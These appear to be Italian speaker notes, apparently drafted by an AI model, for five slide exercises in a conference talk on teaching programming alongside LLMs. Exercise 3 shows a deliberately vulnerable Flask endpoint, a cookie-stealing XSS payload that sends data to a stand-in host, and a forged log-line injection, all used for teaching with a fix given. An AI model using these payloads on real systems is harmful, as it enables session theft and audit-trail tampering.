I cinque esercizi — materiale pronto per le slide

Come To Code 2026 · *Dovremmo ancora insegnare a programmare nell'era degli LLM?*

Tutto il codice qui dentro è stato eseguito e verificato. I numeri che dici dal palco (test verdi, exploit che funziona, centesimo che balla, paradosso dei punti fedeltà) sono output reali, non plausibili. Copia-incolla libera, sono fatti per essere rifiniti a mano.

Regola di conduzione: mostri la slide → conti fino a dieci **in silenzio** → *"be'? sapreste farlo?"* → raccogli due o tre risposte a voce → riveli. Circa 90 secondi l'uno. Cinque esercizi ≈ 8 minuti.

Esercizio 1 — Prompt Problem

> **Slide 34** · Allena: **specificare**

Cosa metti in slide

Nessun testo del problema. Solo questo, in grande:

`[1, 2, 2, 3, 3, 3] → [1, 2, 3]  [5, 5] → [5]  ["b", "a", "b"] → ???  [] → ???  [3, 1, 3] → ???`

> **Scrivete il prompt. Un tentativo solo. Deve passare tutti i test.**

Cosa succede (e perché funziona)

Quasi tutti pensano **"rimuovi i duplicati"**. Con quella specifica il modello quasi sempre scrive:

```
python def dedup(xs): return sorted(set(xs))
```

…che sui primi due casi va benissimo e sugli ultimi tre fa quello che gli pare. Le ambiguità che il pubblico non ha risolto sono **quattro**, e nessuna è visibile nei due esempi che hai mostrato per primi:

Ambiguità	La domanda che nessuno si è fatto
Ordine	Ordinato, o **ordine di prima apparizione**? `[3,1,3]` → `[1,3]` o `[3,1]`?
Tipo	`set()` sui float funziona; sui dict no. Cosa entra in questa lista?
Lista vuota	`[]` o errore?
Mutazione	Nuova lista o modifica sul posto?

Cosa dici

> *“Chi ha scritto ‘rimuovi i duplicati’ ha già sbagliato tre casi su cinque. E il modello non ve lo dirà: vi darà codice pulito, con la docstring, che passa i due test che avete in mente.”*
>
> *“Questo è un Prompt Problem di Paul Denny. Il problema è dato in forma visuale apposta, così non potete copiaincollarlo nel modello: dovete capirlo per descriverlo.”*
>
> *“E qui c’è la cosa che mi ha convinto: scrivere un buon prompt richiede esattamente le competenze che dicevamo di voler insegnare con ‘scrivi una funzione che…’. Decomporre, specificare, pensare ai casi limite. Solo che adesso non si può barare: la soluzione ve la dà il modello, ed è il problema che dovete possedere.”*

💡 **Se vuoi il colpo di teatro**: porta due prompt preparati, uno vago e uno preciso, e generali dal vivo. Il vago produce `sorted(set(xs))`. Il preciso — *“preserva l’ordine di prima apparizione, accetta qualsiasi iterabile di hashable, restituisce una nuova lista, `[]` per input vuoto”* — produce la versione con `dict.fromkeys()`. Stesso modello, stessa API, due risultati diversi: la differenza sei tu.

📎 Prompt Problems, SIGCSE 2024 · Promptly

Esercizio 2 — Explain in Plain English

> **Slide 35** · Allena: **comprendere**

Cosa metti in slide

```
python def h(xs): a, b = 0, 0 for x in xs: a = max(a + x, x) b = max(b, a) return b
```

> ### In UNA frase: cosa fa? Non riga per riga — cosa fa.

La risposta e la gerarchia

- ❌ **Multistrutturale** (la risposta sbagliata più comune): *“tiene due variabili, per ogni elemento aggiorna la prima con il massimo tra sé più x e x, poi aggiorna la seconda…”* — è un **riassunto**, non una comprensione. Chiunque sa fare questo. Anche un modello.
- ✅ **Relazionale** (la risposta giusta): *“restituisce la somma massima di una sottosequenza contigua“* — è l’algoritmo di Kadane.

Il bug nascosto (usalo solo se la sala è calda)

`h([-2, 1, -3, 4, -1, 2, 1, -5, 4]) → 6` ✅ corretto `h([-3, -1, -7]) → 0` ❌ dovrebbe essere `-1` `h([]) → 0` ❓ dipende dalla specifica

> *“Chi ha risposto ‘somma massima di una sottosequenza’ ha capito l’intenzione. Ma solo chi ha anche pensato ‘un momento, e se sono tutti negativi?’ ha davvero letto il codice. Sono due competenze diverse, e la seconda è quella che vi serve per fare code review a un agente.”*

Il twist (il motivo per cui questo esercizio è tornato di moda)

> *“Adesso la parte interessante: la vostra frase diventa il prompt. Se il modello, partendo dalla vostra spiegazione, rigenera codice equivalente, avevate capito. Se rigenera altro, no. Autocorrezione gratis, e comprensione e prompting nello stesso esercizio.”*

Variante B — se sospetti che la sala riconosca Kadane

Meno famosa, più “da lavoro vero”:

`python def p(righe): d = {} for r in righe: k = (r[0], r[1]) if k not in d or r[2] > d[k][2]: d[k] = r return list(d.values())` → *“tiene solo il record più recente per ogni coppia (cliente, paese)”*. Verificato: `[("acme","IT",3,"vecchio"), ("acme","IT",7,"nuovo"), ("acme","FR",1,"x"), ("beta","IT",2,"y")]` → `[("acme","IT",7,"nuovo"), ("acme","FR",1,"x"), ("beta","IT",2,"y")]`

Variante C — la più veloce di tutte (20 secondi)

Mostri il corpo della funzione **senza il nome** e chiedi solo: *“come si chiama?”* Dare il nome giusto è un test di comprensione compresso in due parole. 📎 function naming, ITiCSE 2025 · Explaining Code with a Purpose, ITiCSE 2024

Esercizio 3 — Trova la vulnerabilità

> **Slide 36** · Allena: **valutare criticamente**

Cosa metti in slide

```python from flask import Flask, request, Response import logging

app = Flask(**name**) log = logging.getLogger(“search”)

@app.get(“/cerca”) def cerca(): q = request.args.get(“q”, “”) log.info(f”ricerca utente: {q}”)
```

```
risultati = cerca_articoli(q)
righe = "".join(
    f"<li><a href='/articoli/{a['id']}'>{a['titolo']}</a> — {a['autore']}</li>"
    for a in risultati
)
html = f"""
<html><body>
  <h1>Risultati per: {q}</h1>
  <p>{len(risultati)} articoli trovati</p>
  <ul>{righe}</ul>
</body></html>
"""
return Response(html, mimetype="text/html")
```

```

**Slide successiva (o metà slide), in verde:** `$ pytest -q ... [100%] 3 passed in 3.34s`

> **I test sono verdi. È in produzione. Chi la vede?**

*(I tre test sono reali: ricerca con risultati, ricerca senza risultati, query vuota. Tutti e tre passano. Il codice sopra è quello che ho eseguito.)*

### Le vulnerabilità — ce ne sono tre, non una

1. **XSS riflessa** su `{q}` nell'`&lt;h1&gt;`. Verificata: `GET /cerca?q=&lt;script&gt;fetch('https://evil.tld/'+document.cookie)&lt;/script&gt;` → lo script finisce nell'HTML, non escapato
2. **XSS stored** su `{a['titolo']}` e `{a['autore']}`: se i titoli arrivano dal DB e il DB accetta input utente, l'attacco è persistente. Questa la vede quasi nessuno.
3. **Log injection** su `log.info(f"...{q}")`. Verificata — con un `%0A` nella query: `2026-09-18 16:57:54 INFO ricerca utente: python 2026-09-26 10:00:00 INFO utente admin: login riuscito da 10.0.0.1 ← riga FALSA` Hai appena inquinato l'audit trail. Buona fortuna al forense.

### La correzione

```python from markupsafe import escape

# … usa un template Jinja (autoescaping ON) invece della f-string

log.info("ricerca utente: %s", q.replace("\n", "\n").replace("\r", "\r")) ```

### Cosa dici

Conta le mani dopo la domanda. Poi:

> *“Voi siete una sala di sviluppatori a una conferenza: qualche mano si alza sempre. E scommetto che quasi tutti hanno visto la prima. La seconda — il titolo che arriva dal database — la vede molta meno gente. La terza praticamente nessuno.”*
>
> *(pausa)*
>
> *“Ma la domanda vera è un’altra: l’avreste vista se non aveste mai scritto codice a mano? Veracode ha testato cento modelli su ottanta task: il 45% del codice generato contiene vulnerabilità. E XSS e log injection sono le due categorie in cui i modelli vanno peggio, e stanno peggiorando. Non è un caso raro. È quasi un caso su due.”*

📎 Veracode, primavera 2026

---

## Esercizio 4 — Il test di Naur

> **Slide 37** · Allena: **costruire la teoria**

### Cosa metti in slide

Il codice sotto, in font piccolo, **tutto insieme**, con l’aria di uno screenshot di un agente. Funziona. È pulito. Ha pure i commenti numerati.

```python
IVA = 0.22
SOGLIA_SPEDIZIONE_GRATIS = 50.0
COSTO_SPEDIZIONE = 6.90
VALORE_PUNTO = 0.01

def calcola_totale(ordine):
    """Calcola il totale di un ordine applicando promozioni, punti fedelta' e spedizione."""
    # 1. Subtotale degli articoli
    subtotale = sum(a["prezzo"] * a["quantita"] for a in ordine["articoli"])
```

```
    # 2. Promozione percentuale (es. saldi -20%)
    if ordine.get("promo_pct"):
        subtotale = subtotale * (1 - ordine["promo_pct"] / 100)

    # 3. Punti fedelta': 1 punto = 1 centesimo di sconto
    punti_usati = min(ordine.get("punti", 0), int(subtotale / VALORE_PUNTO))
    subtotale = subtotale - punti_usati * VALORE_PUNTO

    # 4. Coupon a valore fisso
    if ordine.get("coupon"):
        subtotale = max(0.0, subtotale - ordine["coupon"])

    # 5. Spedizione: gratis sopra la soglia
    spedizione = 0.0 if subtotale >= SOGLIA_SPEDIZIONE_GRATIS else COSTO_SPEDIZIONE

    # 6. IVA
    totale = (subtotale + spedizione) * (1 + IVA)

    return {
        "subtotale": round(subtotale, 2),
        "spedizione": round(spedizione, 2),
        "punti_usati": punti_usati,
        "punti_maturati": int(totale),
        "totale": round(totale, 2),
    }
```

```

> **Il marketing chiede: *“la soglia per la spedizione gratis deve valere sul carrello prima degli sconti, e i punti non devono maturare sull’IVA.”***
>
> **Dove mettete le mani?**

### La rivelazione (metti questi numeri in slide, sono reali)

Carrello: due articoli da 32,50 € · promo –20% · nessun coupon.

| | **Totale** |
|---|---|
| **Senza usare i punti** | **63,44 €** |
| **Usando 300 punti** (cioè 3,00 € di sconto) | **68,20 €** |
```

> ## Spendere 3,00 € di punti fa aumentare il totale di 4,76 €.

Perché: i punti fanno scendere il subtotale da 52,00 a 49,00, cioè **sotto la soglia dei 50 €**, e scatta la spedizione a 6,90 + IVA.

Cosa dici

> *“Questo codice funziona. Passa i test. Ha i commenti. Ed è un disastro — ma non potete saperlo leggendolo, perché il codice non vi dice se questa è una decisione di business o un incidente.”*
>
> *“E notate cosa vi ho chiesto: non ‘trova il bug’. Vi ho chiesto dove mettete le mani. Chi ha in testa la teoria del sistema risponde in dieci secondi: riga 5, e attenzione che la riga 3 la influenza. Chi non ce l’ha ha due opzioni: leggersi tutto adesso — cioè costruire la teoria in ritardo, che costa il triplo — oppure dire all’agente ‘rigenera tutto’. Ma se rigenerate tutto, al giro dopo siete di nuovo esattamente qui.”*
>
> *“Peter Naur nel 1985: il programma non è il codice, è la teoria che i programmatori hanno in testa su come il codice rispecchia il mondo. Il codice senza la teoria è morto. Nel 1985 non aveva in mente Claude: aveva in mente il vostro collega che si è licenziato a marzo.”*

💡 Le decisioni implicite sono almeno **cinque**, e nessuna è documentata: l’IVA si calcola dopo gli sconti; la soglia di spedizione si valuta sul netto; i punti si scalano **prima** del coupon (cambia quanti punti servono); il coupon può azzerare ma non va sotto zero; i punti maturano su IVA **e** spedizione. Se ti avanzano 15 secondi, elencane due.

Esercizio 5 — La code review al contrario

> **Slide 38** · Allena: **decidere e motivare**

Cosa metti in slide

Issue: *“Il totale del carrello a volte è sbagliato di un centesimo.”* Due pull request. Entrambe verdi. Entrambe generate da un agente.

PR #1 — “fix: arrotonda il totale” *(+2 −1)* `python def totale(prezzi, sconto_pct): t = sum(prezzi) return round(t - t * sconto_pct / 100, 2)`

PR #2 — “fix: usa Decimal per i calcoli monetari” *(+9 −3)* ```python from decimal import Decimal, ROUND_HALF_UP

def totale(prezzi, sconto_pct): t = sum(Decimal(str(p)) for p in prezzi) sconto = (t * Decimal(str(sconto_pct)) / Decimal(100)).quantize(Decimal(“0.01”), rounding=ROUND_HALF_UP) return (t - sconto).quantize(Decimal(“0.01”), rounding=ROUND_HALF_UP) ```

> **Quale approvate? E cosa scrivete nel commento?**

I numeri (reali — trovati cercando su 400.000 carrelli casuali)

Carrello	Sconto	PR #1	PR #2
`[28.20, 55.44, 22.01]`	10%	**95,09**	**95,08**
`[41.56, 54.89]`	50%	**48,23**	**48,22**
`[12.02, 36.51, 20.98]`	50%	**34,76**	**34,75**

E il dettaglio che chiude la discussione: ```python

> > round(2.675, 2) 2.67 # non 2.68: Python usa banker's rounding, non half-up ```

Cosa dici

> *"PR #1 è più corta, più leggibile, passa i test, e il bug ricomparirà tra sei mesi — perché non ha risolto niente, ha spostato l'arrotondamento più in là. PR #2 è più lunga, più brutta, e ha ragione."*
>
> *"Questo è letteralmente il lavoro di un junior in IBM nel 2026: 'genera cinque soluzioni, dimmi quale è giusta e perché'. Il 'e perché' è tutto il mestiere."*
>
> *"Ed è anche la risposta al problema della valutazione. Se il codice funzionante non dimostra più niente — e non lo dimostra — allora si torna a valutare come si faceva prima degli autograder: facendo parlare le persone. Colloquio, spiegazione, review dal vivo, 'difendi questa PR'. Meno scalabile. Più vero."*

💡 **Se qualcuno dal pubblico dice "ma anche PR #2 è discutibile"** — e in una sala di sviluppatori qualcuno lo dirà — è il momento migliore del talk. Digli che ha ragione (l'ordine di quantize è a sua volta una decisione di business: si arrotonda lo sconto o il totale?) e poi: *"ecco, questa conversazione che stiamo facendo adesso è la competenza. Non c'è nel diff, non c'è nel prompt, non c'è nei test. È l'unica cosa che vi resta da fare."*

Riepilogo — slide 39

Esercizio	Cosa allena
1 · Prompt Problem	**Specificare**
2 · Explain in Plain English	**Comprendere**
3 · Trova la vulnerabilità	**Valutare criticamente**
4 · Il test di Naur	**Costruire la teoria**
5 · Code review al contrario	**Decidere e motivare**

> **In nessuno dei cinque il compito è scrivere codice.**
>
> **In tutti e cinque, non li sai fare se non hai mai scritto codice.**

Note pratiche

Se lo slot è di 30 minuti: tieni **1 (Prompt Problem)** e **3 (Vulnerabilità)**. Sono i due che funzionano meglio con una sala fredda e non richiedono che nessuno parli.

Se la sala è molto tecnica: salta il 2 (riconosceranno Kadane in tre secondi) e usa la **variante B** o vai diretto al 4, che è quello che fa male anche ai senior.

Se la sala è mista / non solo sviluppatori: il 3 e il 5 funzionano lo stesso, perché la domanda non è "sai scrivere questo" ma "sapresti dire se è giusto".

Cosa NON fare: non chiedere alla sala di aprire il laptop, non fare gruppi, non usare Slido. Il momento vale proprio perché è veloce e un po' scomodo. Dieci secondi di silenzio sono lunghissimi dal palco e perfetti dalla platea.

Codice sorgente completo (Flask app + test + script di verifica) nello scratchpad di sessione: `app.py`, `test_app.py`, `naur.py`, `es2_check.py`. Se ti servono come file nel progetto, chiedimelo.